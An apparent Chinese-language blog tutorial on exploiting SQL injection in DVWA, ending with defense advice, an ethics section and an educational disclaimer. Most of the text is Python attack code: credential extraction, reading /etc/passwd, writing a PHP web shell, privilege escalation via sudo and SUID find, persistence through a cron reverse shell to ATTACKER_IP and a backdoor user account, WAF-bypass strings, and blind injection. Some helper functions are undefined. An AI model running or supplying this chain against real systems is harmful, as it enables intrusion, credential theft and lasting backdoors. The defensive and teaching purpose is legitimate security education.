SQL注入漏洞利用教程:从数据库到Root权限的奇幻之旅

前言:当数据库过于"诚实"时

本文章仅提供学习,切勿将其用于不法手段!

想象你是一个侦探,正在审问一个特别诚实的秘书(数据库)。无论你问什么,她都会如实回答,甚至允许你查看老板的机密文件。SQL注入就是这样一种漏洞——程序过于信任用户输入,让攻击者能够"说服"数据库执行本不该执行的命令。

第一部分:SQL注入原理解析

1.1 什么是SQL注入?

SQL注入发生在程序将用户输入直接拼接到SQL查询中:

-- 正常查询
SELECT * FROM users WHERE username = 'admin' AND password = '123456'

-- 被注入的查询
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'xxx'

注释符--使密码检查失效,直接以admin身份登录!

1.2 为什么会产生SQL注入?

漏洞根本原因是:​混淆了代码和数据的边界

// 危险代码示例
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
// 如果用户输入: admin' --
// 查询变成: SELECT * FROM users WHERE username = 'admin' -- ' AND password = ''

1.3 SQL注入的严重性

SQL注入之所以危险,是因为:

  • 直接访问数据库敏感数据
  • 可能获得文件读写权限
  • 可能执行系统命令
  • 可能成为内网渗透的跳板

第二部分:SQL注入实战利用

2.1 环境准备

使用DVWA(Damn Vulnerable Web App)进行练习:

# 启动测试环境
docker run -d -p 80:80 vulnerables/web-dvwa

访问 并登录(admin/password)

2.2 基础注入检测

#!/usr/bin/env python3
import requests
from urllib.parse import quote

def test_sql_injection(url):
    test_payloads = [
        "'",
        "''",
        "`",
        "\"",
        "--",
        "#",
        "/*",
        "*/",
        "';",
        "\";"
    ]
    
    for payload in test_payloads:
        test_url = f"{url}?id=1{payload}"
        response = requests.get(test_url)
        
        if "error" in response.text.lower() or "syntax" in response.text.lower():
            print(f"可能存在注入: {payload}")
            return True
    
    return False

# 测试目标
target_url = "http://localhost/vulnerabilities/sqli/"
test_sql_injection(target_url)

2.3 信息收集与数据库探测

def enumerate_database(url):
    # 确定数据库类型
    payloads = {
        'mysql': "' AND 1=1 UNION SELECT 1,version() -- ",
        'mssql': "' AND 1=1 UNION SELECT 1,@@version -- ",
        'oracle': "' AND 1=1 UNION SELECT 1,banner FROM v$version -- "
    }
    
    for db_type, payload in payloads.items():
        test_url = f"{url}?id=1{quote(payload)}"
        response = requests.get(test_url)
        
        if "version" in response.text or "Version" in response.text:
            print(f"数据库类型: {db_type.upper()}")
            
            # 提取版本信息
            if db_type == 'mysql':
                version_payload = "' UNION SELECT 1,version() -- "
            elif db_type == 'mssql':
                version_payload = "' UNION SELECT 1,@@version -- "
            
            version_url = f"{url}?id=1{quote(version_payload)}"
            version_response = requests.get(version_url)
            print(f"版本信息: {version_response.text}")
            return db_type
    
    return None

2.4 高级数据提取

def extract_data(url, db_type):
    # 获取数据库名
    if db_type == 'mysql':
        db_payload = "' UNION SELECT 1,database() -- "
    elif db_type == 'mssql':
        db_payload = "' UNION SELECT 1,db_name() -- "
    
    db_response = requests.get(f"{url}?id=1{quote(db_payload)}")
    db_name = extract_from_response(db_response.text)
    print(f"当前数据库: {db_name}")
    
    # 获取表名
    if db_type == 'mysql':
        tables_payload = f"' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='{db_name}' -- "
    elif db_type == 'mssql':
        tables_payload = f"' UNION SELECT 1,name FROM sysobjects WHERE xtype='U' -- "
    
    tables_response = requests.get(f"{url}?id=1{quote(tables_payload)}")
    tables = extract_multiple_values(tables_response.text)
    print(f"发现表: {tables}")
    
    # 获取列名(以users表为例)
    if 'users' in tables:
        if db_type == 'mysql':
            columns_payload = f"' UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users' -- "
        elif db_type == 'mssql':
            columns_payload = f"' UNION SELECT 1,name FROM syscolumns WHERE id=object_id('users') -- "
        
        columns_response = requests.get(f"{url}?id=1{quote(columns_payload)}")
        columns = extract_multiple_values(columns_response.text)
        print(f"users表列: {columns}")
        
        # 提取用户数据
        if 'username' in columns and 'password' in columns:
            data_payload = f"' UNION SELECT username,password FROM users -- "
            data_response = requests.get(f"{url}?id=1{quote(data_payload)}")
            credentials = extract_credentials(data_response.text)
            print(f"提取的凭据: {credentials}")
            return credentials
    
    return None

第三部分:从数据库到系统权限

3.1 文件系统访问

def read_files(url, db_type):
    if db_type == 'mysql':
        # 读取/etc/passwd
        file_payload = "' UNION SELECT 1,load_file('/etc/passwd') -- "
        file_response = requests.get(f"{url}?id=1{quote(file_payload)}")
        
        if "root:" in file_response.text:
            print("成功读取系统文件!")
            passwd_content = file_response.text
            return passwd_content
    
    return None

def write_files(url, db_type):
    if db_type == 'mysql':
        # 写入Web shell
        webshell = "<?php system($_GET['cmd']); ?>"
        write_payload = f"' UNION SELECT 1,'{webshell}' INTO OUTFILE '/var/www/html/shell.php' -- "
        
        try:
            requests.get(f"{url}?id=1{quote(write_payload)}", timeout=5)
            # 检查是否写入成功
            shell_test = requests.get("http://localhost/shell.php")
            if shell_test.status_code == 200:
                print("Webshell写入成功!")
                return True
        except:
            pass
    
    return False

3.2 命令执行与权限提升

def execute_commands(url, db_type):
    if db_type == 'mysql':
        # 利用Webshell执行命令
        cmd_url = "http://localhost/shell.php?cmd="
        
        # 检查当前用户
        whoami = requests.get(cmd_url + "whoami")
        print(f"当前用户: {whoami.text}")
        
        # 尝试提权
        # 检查sudo权限
        sudo_check = requests.get(cmd_url + "sudo+-l")
        if "may run the following" in sudo_check.text:
            print("用户有sudo权限!")
            # 尝试直接获取root
            root_shell = requests.get(cmd_url + "sudo+-i")
            if "root" in root_shell.text:
                return True
        
        # 检查SUID权限
        suid_check = requests.get(cmd_url + "find+/+-perm+-4000+-type+f+2>/dev/null")
        suid_binaries = suid_check.text.split('\n')
        
        # 检查已知可提权的SUID程序
        exploitable_binaries = ['find', 'vim', 'bash', 'nmap', 'more', 'less']
        for binary in exploitable_binaries:
            if binary in suid_binaries:
                print(f"发现可能可提权的SUID程序: {binary}")
                # 尝试利用
                if binary == 'find':
                    priv_esc = requests.get(cmd_url + "find+/dev/null+-exec+/bin/sh+\\;")
                    if "root" in priv_esc.text:
                        return True
    
    return False

3.3 横向移动与持久化

def lateral_movement(credentials):
    # 使用获取的凭据尝试SSH登录
    for username, password in credentials.items():
        try:
            import paramiko
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect('localhost', username=username, password=password)
            
            print(f"成功SSH登录为 {username}")
            
            # 在系统上建立持久化
            commands = [
                "echo '反向Shell命令' >> ~/.bashrc",
                "crontab -l | { cat; echo '* * * * * /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"'; } | crontab -",
                "useradd -m -s /bin/bash backdooruser",
                "echo 'backdooruser:password' | chpasswd"
            ]
            
            for cmd in commands:
                stdin, stdout, stderr = ssh.exec_command(cmd)
                print(f"执行: {cmd}, 输出: {stdout.read()}")
            
            ssh.close()
            return True
            
        except:
            continue
    
    return False

第四部分:高级绕过技术

4.1 WAF绕过技术

def bypass_waf(url):
    # 各种WAF绕过技巧
    bypass_techniques = [
        "/*!UNION*/SELECT",
        "UNION%0aSELECT",      # 换行符
        "UNION%0bSELECT",      # 垂直制表符
        "UNION%0cSELECT",      # 换页符
        "UNION%0dSELECT",      # 回车符
        "UNION%09SELECT",      # 水平制表符
        "UNION%a0SELECT",      # 空格变体
        "UNION/**/SELECT",      # 注释符
        "UNIÓN SELECT",        # 特殊字符
        "UNION%20ALL%20SELECT",
        "1'||'1'||'1",         # 连接符绕过
    ]
    
    for technique in bypass_techniques:
        test_url = f"{url}?id=1{quote(technique)}"
        response = requests.get(test_url)
        
        if not "blocked" in response.text and not "forbidden" in response.text:
            print(f"WAF绕过成功: {technique}")
            return technique
    
    return None

4.2 盲注与时间盲注

def blind_sql_injection(url):
    # 基于时间的盲注
    def test_blind(condition):
        time_payload = f"' AND IF({condition},SLEEP(5),0) -- "
        start_time = time.time()
        requests.get(f"{url}?id=1{quote(time_payload)}")
        end_time = time.time()
        return (end_time - start_time) > 4
    
    # 逐字符提取数据
    def extract_char(query, position):
        chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
        for char in chars:
            condition = f"SUBSTRING(({query}),{position},1)='{char}'"
            if test_blind(condition):
                return char
        return None
    
    # 提取数据库版本
    version = ""
    for i in range(1, 20):
        char = extract_char("SELECT version()", i)
        if char:
            version += char
            print(f"版本: {version}")
        else:
            break
    
    return version

第五部分:防御与深度思考

5.1 为什么SQL注入持续存在?

  1. 开发人员教育不足​:许多开发者不了解安全编码
  2. 框架误用​:即使使用安全框架,也可能错误配置
  3. 遗留系统​:大量老旧系统难以更新
  4. 复杂性​:现代应用涉及多个数据源和复杂查询

5.2 彻底防御SQL注入

# 正确的防御方法
def safe_database_query(username, password):
    # 使用参数化查询
    import sqlite3
    
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()
    
    # 安全查询 - 参数化
    cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", 
                   (username, password))
    
    results = cursor.fetchall()
    conn.close()
    return results

# 或者使用ORM
from sqlalchemy import create_engine, text
def safer_query(username, password):
    engine = create_engine('sqlite:///database.db')
    with engine.connect() as conn:
        query = text("SELECT * FROM users WHERE username = :user AND password = :pass")
        result = conn.execute(query, {"user": username, "pass": password})
        return result.fetchall()

5.3 深度防御策略

真正的安全需要多层防护:

  1. 输入验证​:白名单验证所有输入
  2. 参数化查询​:永远不要拼接SQL
  3. 最小权限​:数据库用户只拥有必要权限
  4. WAF保护​:Web应用防火墙
  5. 定期审计​:代码安全扫描和渗透测试
  6. 错误处理​:不要向用户暴露数据库错误信息

第六部分:伦理思考与责任

6.1 安全研究的道德边界

  • 授权测试​:只在获得明确授权的系统上进行
  • 负责任披露​:发现漏洞后给厂商合理时间修复
  • 教育目的​:技术知识应用于建设更安全的世界
  • 法律意识​:了解相关法律法规

6.2 SQL注入的哲学启示

SQL注入教会我们几个重要道理:

  1. 信任需要验证​:永远不要盲目信任用户输入
  2. 边界的重要性​:清晰区分代码和数据边界
  3. 深度防御​:安全需要多层次保护
  4. 持续学习​:安全威胁不断演化,需要持续学习

结语:从攻击者到防御者的思维转变

掌握SQL注入技术不是为了成为更好的攻击者,而是为了成为更优秀的防御者。真正的安全专家理解攻击技术,是为了能够设计出更安全的系统。

深度思考​:在云原生和微服务架构时代,SQL注入会以什么新的形式出现?如何在这种新环境下有效防御?

记住:最好的安全不是修复漏洞,而是从一开始就避免引入漏洞。


免责声明:本文所有技术内容仅用于教育目的和安全研究。未经授权的系统访问是违法行为。请始终在合法授权范围内进行安全测试。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值